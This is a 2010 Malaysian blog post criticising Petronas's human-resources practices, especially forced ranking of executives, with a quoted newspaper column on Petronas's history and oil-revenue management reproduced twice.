what malaysian dont know about petronas nowadays..why people kept complaining and the reason why petronas staff is in danger of losing their jobs even now when PETRONAS are considered GLC.
ill disclose later when i have time to write down all of the details and i even attach the package.
Tuesday, July 13, 2010
Sunday, April 18, 2010
What People Didnt Know about the biggest Malaysian Oil company
Now were talkin,
Definately this new so called Malaysia's proud oil company are now seems to be quite rubbish nowadays under the new HRM VP dato bla..bla..bla..
We know that this company make a lot of money and it is a great public figure
but why on the outside where as the under the "big tree",people suffer?
This is a quote from the star on how well this company is
"
* Nation
* World Updates
* Courts
* Parliament
* Columnists
* Opinion
* Honours List
Sunday March 21, 2010
Is Petronas on the right track?
By DATUK SERI DR FONG CHAN ONN
Many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. So what is Malaysia’s standing among the world matrix of oil-producing nations, and how well are we managing our oil revenue?
IN 1973, OPEC (Organisation of Petroleum Exporting Countries) unexpectedly imposed a sixmonth embargo on oil supplies, inducing the first global oil shock. Malaysia’s response to that was the incorporation of Petronas as the Malaysian oil corporation. The timing seemed right given that in 1971 the price of oil was just US$1.50 but by 1974 it was already averaging US$12 per barrel, making it viable for Petronas to extract oil from our off-shore reserves.
From 1974 till 2000, oil prices hovered between US$20 and US$30 per barrel. At these price levels, government subsidies for oil then was not an issue; nor was there much of a debate regarding Petronas and the management of Malaysia’s oil reserves until 1997, when Petronas’ money was used to build the Twin Towers and Putrajaya in spite of the onset of the Asian Financial Crisis.
Petronas came under scrutiny again in 2007 when oil prices ballooned to US$140 per barrel. In parliamentary debates, questions were asked about the windfall profits that were being made and how these profits were being managed and spent. At the same time, there was also public demand for transparency and accountability of Petronas.
Impressive landmark: The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city. – AFP
Once again the recent change in the leadership of Petronas has sparked off debates on the company’s operations and reporting; additionally the question of sustainability of its contributions to government revenues was also widely discussed.
True, many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. Perhaps now is a good time to explore Malaysia’s standing among the world matrix of oil-producing nations as well as the road ahead of us in the management of our oil revenue.
Dutch Disease?
Some nations, upon the discovery of a rich natural resource such as petroleum, have experienced the Dutch Disease; that is their economy began shrinking instead of expanding. This is because the discovery had led to an automatic boom in the export revenue and consequent appreciation of their exchange rates, which then caused the subsequent non-competitiveness of their non-oil sectors, particularly their manufacturing sectors.
The experience of the Netherlands in 1959 after the discovery of large natural gas fields only to see the rest of its economy shrinking led to the term “Dutch Disease”.
I will argue that Malaysia did not experience the Dutch Disease since 1974, for reasons that:
A single-minded pursuit of an export-oriented industrialisation policy since the 1970s has seen the manufacturing sector grow from RM36.5bil in 1987 to RM 491.9bil by 2008. In fact, it was during this period that Malaysia emerged as the world largest exporter of Electrical and Electronics (E&E) appliances with its export value growing from RM11bil in 1987 to RM277.3bil by 2008. Similarly, the services sector was not impinged by the presence of oil reserves, growing from RM36.7bil in 1987 to RM334.6bil by 2008.
·And as a consequence of a deliberate drive to push exports up, the Ringgit was maintained at about RM2.20 to RM 2.70 to the US$ since the 1970s, until Malaysia was hit by the Asian Financial Crisis in 1997 when the currency was then pegged at RM3.80 per US$. In fact, the Ringgit exchange rate has also declined since 1974 vis-à-vis other currencies: Japanese Yen from RM0.80 per 100 Yen in 1974 to RM3.77 per 100 Yen; Singapore Dollar from parity in 1980 to current RM2.43 per S$.
·In addition, recognising the limits of Malaysia’s petroleum reserves, there was the deliberate national policy of curtailing our oil output to about 600,000 barrels per day in order to extend the life span of our oil production. This policy was strictly adhered to by Petronas even during the period of peak oil prices in 2007 and 2008.
Petronas’ report card
Notwithstanding the absence of Dutch Disease symptoms, have we really made optimum use of our oil revenue? To answer this question, let us examine the record of Petronas’ contribution to the nation.
Role in National Development: Over the period 1974 to 1990, Petronas was focused on building up the company. It expanded into downstream activities with a urea plant constructed in Sarawak in 1976. Next, it ventured into direct exploration and production in 1978. Then it went on to build the Kerteh and Malacca refineries in 1983, signalling its foray into refining and distribution.
As Malaysia was also keen to be involved in Liquid Natural Gas (LNG), Petronas bought up five tankers through its subsidiary, MISC. And as part of the gasification policy of the peninsula, the Peninsular Gas Utilisation Pipeline (PGU) was built with its first phase completed in 1985 at an estimated cost of RM720mil. The PGU now runs from Terengganu to Songkla, Thailand.
The PGU was not only crucial to the development of a domestic gas industry, but it also helped transform Malaysia to become the 3rd largest LNG producer in the world.
An International Corporation: Given Malaysia’s limited oil reserves, Petronas knew that its long-term survival required it to extend beyond the shores of Malaysia. It made crucial discovery in Vietnam in 1994, and later in Cambodia, China, and Algeria. Today, Petronas operates in at least 30 different countries, has more than 100 subsidiaries and owns a fleet of more than 100 tankers and ships through MISC. Its production from its overseas ventures now makes up almost half of its total overall oil and gas production.
Further, because of Petronas’ large financial reserves and sound independent management, it is well respected internationally. In 2008, it ranked as the eighth-best profits-making company, and the fifth in the petroleum industry. Its bond issues are always eagerly subscribed to by the international community at A1 level, thus acting as a surrogate Malaysia Sovereign Bond. This enables the nation to borrow at low interest rates from the financial global market for its developmental purposes.
For comparison, Thailand’s sovereign rating is at BBB, Indonesia at BB+ and Singapore AAA.
Contributor to government revenue: Petronas started contributing to government revenue in 1976 with a sum of RM300mil, rising to RM2bil a year by 1981. Due to increasing oil prices, by 2005 it was able to provide RM32.1bil (56.5% of net profits) to government revenue, increasing to RM74bil (78.9% of net profits) in 2009, which formed about 45% of total government revenue for the year.
Since its incorporation, Petronas has paid RM471bil to the Government, in addition to bearing a cumulative subsidy of RM97bil under the national gas utilisation plan.
As the controversial White Knight: Petronas, as an off-budget agency directly under the Prime Minister, is not without controversy. Its large reserves made it a tempting target for bail-outs. It was asked to bail out Bank Bumiputera in 1985 with an injection of RM2.5bil when the bank collapsed under the weight of loans to the Hong Kong Carrion Property Group. It was again directed to bail out the same bank at RM1bil in 1991. When Bank Bumiputera collapsed for the third time in 1997, was Petronas again asked to come to the rescue? Only the fly at Tan Sri Merican’s (then CEO) office at that time would know. Suffice to say Bank Bumiputera now is part of CIMB.
Petronas also bailed out Konsortium Perkapalan Berhad (KPB), through MISC, which suffered RM2bil losses during the 1997 financial crisis. This, of course, was a subject of much political debate then.
Petronas’ mega projects: At the peak of the Asian Financial Crisis, Petronas went ahead and completed the Petronas Twin Towers (RM6bil) and Putrajaya (RM22bil). At that time it was subjected to much ridicule, with jokes like “we could sell off one tower to Brunei to get some cash…” etc going around.
With the benefit of hindsight, however, were these decisions wrong?
The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city.
Similarly, although Putrajaya is still a quiet place, its completion contributed to the rise of prosperous townships stretching from Kajang, Puchong, and Subang to Petaling Jaya.
Nevertheless, one may still ask: Is it really Petronas’ core business to undertake mega infrastructural projects on its own? Is it not going beyond its mission (as the agency in charge of the nation’s petroleum reserves) to venture into activities that it is not an expert in? By spending RM544mil in building the six-star Prince Court Medical Centre, is it not really stretching itself way beyond its borders?
Absence of a vibrant oil and gas sub-sector
With Petronas’s emergence as an international oil company, there is a glaring missing link – its failure to nurture a vibrant oil and gas sub-sector in the country. The oil and gas sub-sector is barely a key driver of the Malaysian economy. In fact, the key leading sector that has primarily driven the Malaysian economy over the last three decades has been the E & E industries, which now contribute to over 30% of our exports.
Malaysia is known for being a premier E & E hub for Asia, but not as an oil and gas hub. There are only about 60 companies listed on Bursa that are related to oil and gas activities, which is equivalent to the number listed on the Singapore Stock Exchange. And Singapore is not even an oil producing nation!
The wealth of our oil resource has not filtered down to the economy, particularly the small and medium enterprises (SMEs) sub-sector that should be the backbone of any growing economy.
No doubt the development of downstream activities such as polypropylene, fertilisers and other chemicals is present and substantial. However, there is a distinct absence of a significant value chain of oil and gas suppliers, including supporting industries like catering, basic raw materials, tooling and equipment, uniforms, and packaging.
As an oil-producing nation, we do not have a significant oil and gas talent pool. There are only a handful of Malaysians involved in the technical support of the oil and gas sector, such as welders, toolers and riggers. In fact, there are many more electrical and IT technicians in the country than oil and gas technicians.
The bidding process by Petronas has been structured in a way that stifles SME growth in this sector. The bumiputra requirements, depending on the size and nature of the contract, can vary from 30% to as high as 70%.
Oil and gas licences are excruciatingly difficult to acquire, and the conditions are stringent to a point of exclusion.
It has also long been felt that the bidding process is not transparent, and favoured the foreign players more than the non-bumiputra players. Petronas contracts signed with foreign players far outnumber those with local companies.
Comparison with some oil producing nations
How does Petronas’ record and our management of the oil revenue compare with other countries?
I have chosen five other models namely Nigeria, Venezuela, Indonesia, Alaska and Norway, looking at how each country has done in the management of their oil reserves. While it may be arbitrary, it helps give us some indication beyond our own parochial, sometimes prejudiced, view of ourselves.
Nigeria
Nigeria is the largest oil producer in Africa and the tenth largest producer of crude oil in the world. In 2005, Nigerian oil production averaged 2.6 million barrels per day. The Nigerian economy is almost totally dependent on the oil sector; it makes up 95% of export revenues, 76% of government revenues, and accounts for about 30% of GDP.
Nigeria was among the richest 50 countries in the early 1970s but the blatant abuse of petrol power (coupled with its record of ethnic conflicts) pitifully regressed it to the rank of the 25 poorest countries by 2000.
Although the situation in Nigeria has improved over the last few years, the amount of human suffering that has beseeched its citizens due to mismanagement, and greed leading to violence against its own people, is unspeakable.
Venezuela
The oil and gas sector constitutes a third of this nation’s GDP, around 80% of its export, and more than half of its government’s revenue. It is the ninth largest oil producer in the world.
Oil revenue is central to Venezuelan politics, giving rise to a rent-seeking culture and an entrenched patronage system. Due to the volatility of oil prices, the Venezuelan economy goes through boom and bust cycles, along with it a “yo-yo” cycle of government spending.
Despite Venezuela’s estimated US$600bil in oil exports since the early 1970s, real per capita income fell by 15% between 1973 and 1998. Its GDP has been declining on an average of 2.2% from 1985 to 2000.
Due to its huge oil production value, Venezuelans have no incentive to look elsewhere for diversification. Today, the Venezuelan economy continues to be plagued with structural problems and is ever more dependent on its oil reserves.
Indonesia
Pertamina, Indonesia’s oil corporation, was set up in 1968 at a time when foreign companies dominated the oil industry. Its oil output then increased from 500,000 barrels per day to 1.5 million barrels per day in 1974, contributing up to 15% of Indonesia’s GDP then.
By 1974, it was a huge company to be reckoned with, having its own drilling equipment, a chain of gasoline filling stations, and a fleet of hundreds of tankers. It had non–oil assets as well; with ownership of hotels, tourism complex, automobile distributorship, first class hospitals, television studios, insurance companies, and the US$2.5bil Krakatau steel mill.
Unfortunately, Pertamina fell into mismanagement and abuse and collapsed as an oil company in 1975.
In the early 1980s, the Indonesian oil and gas industry underwent extensive reforms.
One key aspect of the reforms is the revamp of Pertamina through the establishment of independence; with authorities removed from regulators to agencies. The oil and gas industry was also liberalised, which resulted in the ending of oil and gas monopolies and helped to improve production efficiency and profits.
Through these reforms, the Indonesian government managed to revitalise not only the oil sector but also the non-oil sectors (such as manufacturing), and improved the livelihood of its people with aggressive rates of economic growth.
Alaska
Petroleum extraction constitutes more than 80% of Alaska’s revenue. This state is very concerned about government expenditures being overly dependent on oil, as well as the impact of price volatility on its economy. In 1976, an Act was passed requiring 25% of the Government’s oil royalty to be deposited into the Alaska Permanent Fund.
As at 2007, the fund stood at US$33bil and about half of the year’s dividend income was distributed to all Alaskans equally as cash payouts.
The net effect of the Alaska Permanent Fund is that it helps to stabilise cash flow for the state and also improves the income of its people, especially those in the rural areas. Being a poor state, the annual cash payments given out to all residents could also act as a stimulus to spur economic growth.
Norway
In the 1960s, Norway’s GDP per capita was lower than that of Sweden and Denmark. By the year 2000, the situation had reversed with Norway in the lead, due to the discovery of oil off the Norwegian coast. Currently, the oil industry is a very important component of the Norwegian economy, producing three million barrels of oil per day. With a population of 4.8 million, this works out to 0.63 barrels of oil per day per Norwegian!
Norwegians were quick to learn from the Dutch that its resources had to be managed in a sustainable manner.
In 1990, A Norwegian Petroleum fund was established with the main aim of acting as a buffer to smoothen oil price fluctuations, and stabilising the exchange rate to avoid the dreaded Dutch Disease. As Norway has an aging population, the fund is also meant to help address the future needs of the country.
At the end of 2001, the size of the fund (at US$400bil) was equivalent to 45% of its GDP, and this fund is invested abroad to avoid overheating the Norwegian economy.
The fund is widely rated as one of the best managed sovereign funds, and this is due to the strict guidelines for its operations for which the authority goes back to the Parliament. Any transfer to and from the funds needs Parliamentary approval. The Government is also required to report to Parliament on the fund’s status – three times a year.
This is the first of a two-part article. Next week, Dr Fong will discuss “The Way Forward: Creation of a Future Malaysian Fund from Oil Revenue”."
Yup!!!..surely you'll be interested to be in this giant company rite?students would dream of working for this big company but lets see on how well this company treated it's professional worker aka Executives.
Currently they are embarking on a new initiatives held by this HRM which is called "Forced Renking"
What is forced raking?
HERE IT iS
Found it when i google
Forced ranking is a controversial workforce management tool that uses intense yearly evaluations to identify a company's best and worst performing employees, using person-to-person comparisons. In theory, each ranking will improve the quality of the workforce. Managers rank workers into three categories: The top 20 percent are the "A" players, the people who will lead the future of the company. They're given raises, stock options, and training. The middle 70 percent are the "B" players, steady-eddies who are given smaller raises and encouraged to improve. The bottom 10 percent are the "C" players, who contribute the least and may be meeting expectations but are simply "good" on a team of "greats." They're given no raises or bonuses and are either offered training, asked if they'd be happier elsewhere, or fired.
Key Stats
Why It Matters Now
Although most large organizations refuse to publicly discuss or even confirm whether they're using some form of forced ranking, as many as one-third of Fortune 500 companies use such systems, says Dick Grote, author of "Forced Ranking: Making Performance Management Work." Forced ranking first gained attention at General Electric in the 1980s. The practice lost its glimmer in recent years following Enron's downfall, which has been attributed in part to back-biting spurred by forced rankings. But with unemployment at its lowest level since the 1990s, the talent war has heated up again, making it more important to identify top performers, since they're being more heavily recruited.
Why It Matters to You
Forced ranking tends to be popular with large corporations that have hundreds or thousands of employees and need to systematize their HR processes. If your workplace is one of these—and if the company is in trouble and looking for solutions—forced ranking could be in your future. The long-run impact should ideally be increased productivity, profitability, and shareholder value. But sometimes a company culture can shift due to forced ranking, creating a more competitive atmosphere and decreasing morale.
If you're in the market for a new job, spend some time researching which companies in your industry use forced ranking. Some firms will not openly offer this information to potential employees.
The Strong Points
By identifying their top employees, companies can jolt managers out of complacency, combat artificially inflated performance ratings, and reduce favoritism, nepotism, and promotions that may be based on factors other than performance. Managers can identify top performers—the people they least want to lose—and reward, keep, and train them to be future leaders of the business. Forced ranking also provides a justifiable way to identify and lose workers who may be holding the business back. About 40 percent of "C" players voluntarily resign, which is often a happy outcome for managers, who can then hire better-quality replacements.
The Weak Spots
Companies can inevitably make mistakes using forced ranking, firing someone who might go on to be a super star elsewhere or discouraging excellent performers by ranking them as mediocre simply to fill a quota. Replacing lower-rung employees each year can also be costly and can lower productivity in the early months of adoption. New data, including a study by Drake University professor Steve Scullen, shows that forced ranking loses its effectiveness after a couple of years, since the average quality of workers increases and there are fewer "C" players to identify.
Critics also claim the system creates a competitive environment that can result in cutthroat, unethical behavior; limit risk-taking, creativity, and teamwork; and discourage workers from asking for help or extra training out of fear that they'll be identified as low performers. The strategy has also resulted in legal troubles for such companies as Microsoft, Ford, Goodyear, 3M, and Capital One, which have fought discrimination lawsuits filed by former employees who claimed forced ranking was used to discriminate on the basis of race or age.
Key Players
General Electric: The most famous practitioner of forced ranking in the 1980s and 1990s. Former CEO Jack Welch suggests that forced ranking helped grow GE's revenues to $130 billion in 2000 from $70 billion in 1995.
Yahoo! The Internet company created its own version of forced ranking, called "stack-ranking," to determine how compensation increases are distributed. Managers rank employees from top to bottom and award bonuses and raises accordingly.
Ford Motor Co.: The car manufacturer employed forced ranking until 2001, when Bill Ford took over as CEO. Ford settled a lawsuit for $10.6 million that year when fired employees alleged age discrimination.
Motorola: The phone maker relied on forced ranking between 2001 and 2003 but has since discontinued using the management system.
How to Talk About It
Despite widespread usage, most executives and human resources officials won't use the term "forced ranking" to refer to their own process because the phrase itself seems harsh. People refer to it as their "talent management process" or "leadership assessment procedure."
Relative comparison: An appraisal that compares employees against each other, forcing some to be rated above others, such as, "How did Joe do compared to Sally and Bob?"
Absolute comparison: A conventional performance appraisal, such as, "How good did Joe do against the responsibilities and goals set at the beginning of the year?"
Forced distribution: An appraisal that does not compare people against each other but gives employees ratings such as "excellent," "good," or "needs improvement." A set number or percentage of workers must fall into each category.
Thats the fact of this whole thing,but lets looks at the PRO and CONS of this thing.
PROS
Requires reluctant managers to identify the most and least talented members of the work group. "It's difficult to confront poor performers, but going easy on employees can just create more problems for an organization," says Grote. "Forced ranking
forces organizations to acknowledge that talent variations actually exist."
Provides the organization with useful data on the ability of managers to spot and champion talent. "What the managers learn in terms of talent in the organization is one of the greatest benefits of forced ranking," Grote says. "Their thinking processes are challenged and they learn how to make good decisions about employee potential."
Provides an independent verification of performance appraisal data. Forced ranking is not a substitute for a performance appraisal. Forced ranking affects only those at the top, while performance appraisal affects everybody. "Companies must have a robust performance appraisal process in place before considering forced ranking," Grote says.
As larger groups are evaluated, the forced ranking process may permit more accurate cross-department comparisons. "Forced ranking provides a great benefit to talented employees," Grote explains. "The process brings these individuals to the attention of a large number of senior executives."
CONS
Morale is negatively affected. Organizations in which employees are encouraged—even rewarded—for focusing on their individual performance instead of working with and supporting others do not tend to be happy, motivating places to work, according to Bob Rogers, president of Development Dimensions International, Pittsburgh. "Forced ranking might weed out the people an organization would like to see go, but oftentimes valued performers become disenchanted with the work environment and end up leaving."
Grote admits that some managers and employees may resent the process. "I guarantee you'll have to drag a number of employees kicking and screaming into the process," he says. "But that's to be expected with any major change."
Employees ranked in a lower category may be demoralized. "This is true, but keep in mind that the people we are talking about are in the bottom category anyway," Grote says. "If they are demoralized, but everybody else is energized, that's a good thing."
The process may produce an excessively competitive environment. "I have never seen it to be true. That is one of the easiest things to overcome because forced ranking takes away competitiveness," argues Grote. But Rogers believes forced ranking increases the competitiveness among peers who know they are being ranked. "Forced ranking changes the culture from 'we are all in this together' to 'if I help that person too much, she might be ranked above me,'" he says.
Mistakes are inevitable. "You're bound to miss a few late bloomers and overrate a few glib duds," Grote says. —G.J.
Im sure of you are working for this big company you'll know that how unfair of the system to Executives
Here the facts:
1)Forced ranking only applies to Executives
2)Technicians are not eligible for this scheme
My opinion on this new initiatives of HRM in this big company in order to increase the revenue and profit
1)Review back the technician mileage claims/impose redius setlement or fixed rate mileage claim.ie Workplace was 103km from home.Everyday claims amounting to RM 3000 a month!.What the heck???! that was just for one person.Imagine this big company holding about 20,000 of its technicians worldwide.What is the big amount? its RM 8,000,000 a month.Just Imagine...
2)Dont spend your money lavishly on things just to let "poeple acknowledge PETRONAS" ie F1,Coporate Service Responsibility Programme,sponsoring this and that
3)Executive to have a union like KAPENAS which they will have some "shoulder to cry" to.
4)Stop this nonsence initiatives.
Man..im out of ideas now..well gtg.Just my 2cents thought.
Definately this new so called Malaysia's proud oil company are now seems to be quite rubbish nowadays under the new HRM VP dato bla..bla..bla..
We know that this company make a lot of money and it is a great public figure
but why on the outside where as the under the "big tree",people suffer?
This is a quote from the star on how well this company is
"
* Nation
* World Updates
* Courts
* Parliament
* Columnists
* Opinion
* Honours List
Sunday March 21, 2010
Is Petronas on the right track?
By DATUK SERI DR FONG CHAN ONN
Many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. So what is Malaysia’s standing among the world matrix of oil-producing nations, and how well are we managing our oil revenue?
IN 1973, OPEC (Organisation of Petroleum Exporting Countries) unexpectedly imposed a sixmonth embargo on oil supplies, inducing the first global oil shock. Malaysia’s response to that was the incorporation of Petronas as the Malaysian oil corporation. The timing seemed right given that in 1971 the price of oil was just US$1.50 but by 1974 it was already averaging US$12 per barrel, making it viable for Petronas to extract oil from our off-shore reserves.
From 1974 till 2000, oil prices hovered between US$20 and US$30 per barrel. At these price levels, government subsidies for oil then was not an issue; nor was there much of a debate regarding Petronas and the management of Malaysia’s oil reserves until 1997, when Petronas’ money was used to build the Twin Towers and Putrajaya in spite of the onset of the Asian Financial Crisis.
Petronas came under scrutiny again in 2007 when oil prices ballooned to US$140 per barrel. In parliamentary debates, questions were asked about the windfall profits that were being made and how these profits were being managed and spent. At the same time, there was also public demand for transparency and accountability of Petronas.
Impressive landmark: The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city. – AFP
Once again the recent change in the leadership of Petronas has sparked off debates on the company’s operations and reporting; additionally the question of sustainability of its contributions to government revenues was also widely discussed.
True, many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. Perhaps now is a good time to explore Malaysia’s standing among the world matrix of oil-producing nations as well as the road ahead of us in the management of our oil revenue.
Dutch Disease?
Some nations, upon the discovery of a rich natural resource such as petroleum, have experienced the Dutch Disease; that is their economy began shrinking instead of expanding. This is because the discovery had led to an automatic boom in the export revenue and consequent appreciation of their exchange rates, which then caused the subsequent non-competitiveness of their non-oil sectors, particularly their manufacturing sectors.
The experience of the Netherlands in 1959 after the discovery of large natural gas fields only to see the rest of its economy shrinking led to the term “Dutch Disease”.
I will argue that Malaysia did not experience the Dutch Disease since 1974, for reasons that:
A single-minded pursuit of an export-oriented industrialisation policy since the 1970s has seen the manufacturing sector grow from RM36.5bil in 1987 to RM 491.9bil by 2008. In fact, it was during this period that Malaysia emerged as the world largest exporter of Electrical and Electronics (E&E) appliances with its export value growing from RM11bil in 1987 to RM277.3bil by 2008. Similarly, the services sector was not impinged by the presence of oil reserves, growing from RM36.7bil in 1987 to RM334.6bil by 2008.
·And as a consequence of a deliberate drive to push exports up, the Ringgit was maintained at about RM2.20 to RM 2.70 to the US$ since the 1970s, until Malaysia was hit by the Asian Financial Crisis in 1997 when the currency was then pegged at RM3.80 per US$. In fact, the Ringgit exchange rate has also declined since 1974 vis-à-vis other currencies: Japanese Yen from RM0.80 per 100 Yen in 1974 to RM3.77 per 100 Yen; Singapore Dollar from parity in 1980 to current RM2.43 per S$.
·In addition, recognising the limits of Malaysia’s petroleum reserves, there was the deliberate national policy of curtailing our oil output to about 600,000 barrels per day in order to extend the life span of our oil production. This policy was strictly adhered to by Petronas even during the period of peak oil prices in 2007 and 2008.
Petronas’ report card
Notwithstanding the absence of Dutch Disease symptoms, have we really made optimum use of our oil revenue? To answer this question, let us examine the record of Petronas’ contribution to the nation.
Role in National Development: Over the period 1974 to 1990, Petronas was focused on building up the company. It expanded into downstream activities with a urea plant constructed in Sarawak in 1976. Next, it ventured into direct exploration and production in 1978. Then it went on to build the Kerteh and Malacca refineries in 1983, signalling its foray into refining and distribution.
As Malaysia was also keen to be involved in Liquid Natural Gas (LNG), Petronas bought up five tankers through its subsidiary, MISC. And as part of the gasification policy of the peninsula, the Peninsular Gas Utilisation Pipeline (PGU) was built with its first phase completed in 1985 at an estimated cost of RM720mil. The PGU now runs from Terengganu to Songkla, Thailand.
The PGU was not only crucial to the development of a domestic gas industry, but it also helped transform Malaysia to become the 3rd largest LNG producer in the world.
An International Corporation: Given Malaysia’s limited oil reserves, Petronas knew that its long-term survival required it to extend beyond the shores of Malaysia. It made crucial discovery in Vietnam in 1994, and later in Cambodia, China, and Algeria. Today, Petronas operates in at least 30 different countries, has more than 100 subsidiaries and owns a fleet of more than 100 tankers and ships through MISC. Its production from its overseas ventures now makes up almost half of its total overall oil and gas production.
Further, because of Petronas’ large financial reserves and sound independent management, it is well respected internationally. In 2008, it ranked as the eighth-best profits-making company, and the fifth in the petroleum industry. Its bond issues are always eagerly subscribed to by the international community at A1 level, thus acting as a surrogate Malaysia Sovereign Bond. This enables the nation to borrow at low interest rates from the financial global market for its developmental purposes.
For comparison, Thailand’s sovereign rating is at BBB, Indonesia at BB+ and Singapore AAA.
Contributor to government revenue: Petronas started contributing to government revenue in 1976 with a sum of RM300mil, rising to RM2bil a year by 1981. Due to increasing oil prices, by 2005 it was able to provide RM32.1bil (56.5% of net profits) to government revenue, increasing to RM74bil (78.9% of net profits) in 2009, which formed about 45% of total government revenue for the year.
Since its incorporation, Petronas has paid RM471bil to the Government, in addition to bearing a cumulative subsidy of RM97bil under the national gas utilisation plan.
As the controversial White Knight: Petronas, as an off-budget agency directly under the Prime Minister, is not without controversy. Its large reserves made it a tempting target for bail-outs. It was asked to bail out Bank Bumiputera in 1985 with an injection of RM2.5bil when the bank collapsed under the weight of loans to the Hong Kong Carrion Property Group. It was again directed to bail out the same bank at RM1bil in 1991. When Bank Bumiputera collapsed for the third time in 1997, was Petronas again asked to come to the rescue? Only the fly at Tan Sri Merican’s (then CEO) office at that time would know. Suffice to say Bank Bumiputera now is part of CIMB.
Petronas also bailed out Konsortium Perkapalan Berhad (KPB), through MISC, which suffered RM2bil losses during the 1997 financial crisis. This, of course, was a subject of much political debate then.
Petronas’ mega projects: At the peak of the Asian Financial Crisis, Petronas went ahead and completed the Petronas Twin Towers (RM6bil) and Putrajaya (RM22bil). At that time it was subjected to much ridicule, with jokes like “we could sell off one tower to Brunei to get some cash…” etc going around.
With the benefit of hindsight, however, were these decisions wrong?
The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city.
Similarly, although Putrajaya is still a quiet place, its completion contributed to the rise of prosperous townships stretching from Kajang, Puchong, and Subang to Petaling Jaya.
Nevertheless, one may still ask: Is it really Petronas’ core business to undertake mega infrastructural projects on its own? Is it not going beyond its mission (as the agency in charge of the nation’s petroleum reserves) to venture into activities that it is not an expert in? By spending RM544mil in building the six-star Prince Court Medical Centre, is it not really stretching itself way beyond its borders?
Absence of a vibrant oil and gas sub-sector
With Petronas’s emergence as an international oil company, there is a glaring missing link – its failure to nurture a vibrant oil and gas sub-sector in the country. The oil and gas sub-sector is barely a key driver of the Malaysian economy. In fact, the key leading sector that has primarily driven the Malaysian economy over the last three decades has been the E & E industries, which now contribute to over 30% of our exports.
Malaysia is known for being a premier E & E hub for Asia, but not as an oil and gas hub. There are only about 60 companies listed on Bursa that are related to oil and gas activities, which is equivalent to the number listed on the Singapore Stock Exchange. And Singapore is not even an oil producing nation!
The wealth of our oil resource has not filtered down to the economy, particularly the small and medium enterprises (SMEs) sub-sector that should be the backbone of any growing economy.
No doubt the development of downstream activities such as polypropylene, fertilisers and other chemicals is present and substantial. However, there is a distinct absence of a significant value chain of oil and gas suppliers, including supporting industries like catering, basic raw materials, tooling and equipment, uniforms, and packaging.
As an oil-producing nation, we do not have a significant oil and gas talent pool. There are only a handful of Malaysians involved in the technical support of the oil and gas sector, such as welders, toolers and riggers. In fact, there are many more electrical and IT technicians in the country than oil and gas technicians.
The bidding process by Petronas has been structured in a way that stifles SME growth in this sector. The bumiputra requirements, depending on the size and nature of the contract, can vary from 30% to as high as 70%.
Oil and gas licences are excruciatingly difficult to acquire, and the conditions are stringent to a point of exclusion.
It has also long been felt that the bidding process is not transparent, and favoured the foreign players more than the non-bumiputra players. Petronas contracts signed with foreign players far outnumber those with local companies.
Comparison with some oil producing nations
How does Petronas’ record and our management of the oil revenue compare with other countries?
I have chosen five other models namely Nigeria, Venezuela, Indonesia, Alaska and Norway, looking at how each country has done in the management of their oil reserves. While it may be arbitrary, it helps give us some indication beyond our own parochial, sometimes prejudiced, view of ourselves.
Nigeria
Nigeria is the largest oil producer in Africa and the tenth largest producer of crude oil in the world. In 2005, Nigerian oil production averaged 2.6 million barrels per day. The Nigerian economy is almost totally dependent on the oil sector; it makes up 95% of export revenues, 76% of government revenues, and accounts for about 30% of GDP.
Nigeria was among the richest 50 countries in the early 1970s but the blatant abuse of petrol power (coupled with its record of ethnic conflicts) pitifully regressed it to the rank of the 25 poorest countries by 2000.
Although the situation in Nigeria has improved over the last few years, the amount of human suffering that has beseeched its citizens due to mismanagement, and greed leading to violence against its own people, is unspeakable.
Venezuela
The oil and gas sector constitutes a third of this nation’s GDP, around 80% of its export, and more than half of its government’s revenue. It is the ninth largest oil producer in the world.
Oil revenue is central to Venezuelan politics, giving rise to a rent-seeking culture and an entrenched patronage system. Due to the volatility of oil prices, the Venezuelan economy goes through boom and bust cycles, along with it a “yo-yo” cycle of government spending.
Despite Venezuela’s estimated US$600bil in oil exports since the early 1970s, real per capita income fell by 15% between 1973 and 1998. Its GDP has been declining on an average of 2.2% from 1985 to 2000.
Due to its huge oil production value, Venezuelans have no incentive to look elsewhere for diversification. Today, the Venezuelan economy continues to be plagued with structural problems and is ever more dependent on its oil reserves.
Indonesia
Pertamina, Indonesia’s oil corporation, was set up in 1968 at a time when foreign companies dominated the oil industry. Its oil output then increased from 500,000 barrels per day to 1.5 million barrels per day in 1974, contributing up to 15% of Indonesia’s GDP then.
By 1974, it was a huge company to be reckoned with, having its own drilling equipment, a chain of gasoline filling stations, and a fleet of hundreds of tankers. It had non–oil assets as well; with ownership of hotels, tourism complex, automobile distributorship, first class hospitals, television studios, insurance companies, and the US$2.5bil Krakatau steel mill.
Unfortunately, Pertamina fell into mismanagement and abuse and collapsed as an oil company in 1975.
In the early 1980s, the Indonesian oil and gas industry underwent extensive reforms.
One key aspect of the reforms is the revamp of Pertamina through the establishment of independence; with authorities removed from regulators to agencies. The oil and gas industry was also liberalised, which resulted in the ending of oil and gas monopolies and helped to improve production efficiency and profits.
Through these reforms, the Indonesian government managed to revitalise not only the oil sector but also the non-oil sectors (such as manufacturing), and improved the livelihood of its people with aggressive rates of economic growth.
Alaska
Petroleum extraction constitutes more than 80% of Alaska’s revenue. This state is very concerned about government expenditures being overly dependent on oil, as well as the impact of price volatility on its economy. In 1976, an Act was passed requiring 25% of the Government’s oil royalty to be deposited into the Alaska Permanent Fund.
As at 2007, the fund stood at US$33bil and about half of the year’s dividend income was distributed to all Alaskans equally as cash payouts.
The net effect of the Alaska Permanent Fund is that it helps to stabilise cash flow for the state and also improves the income of its people, especially those in the rural areas. Being a poor state, the annual cash payments given out to all residents could also act as a stimulus to spur economic growth.
Norway
In the 1960s, Norway’s GDP per capita was lower than that of Sweden and Denmark. By the year 2000, the situation had reversed with Norway in the lead, due to the discovery of oil off the Norwegian coast. Currently, the oil industry is a very important component of the Norwegian economy, producing three million barrels of oil per day. With a population of 4.8 million, this works out to 0.63 barrels of oil per day per Norwegian!
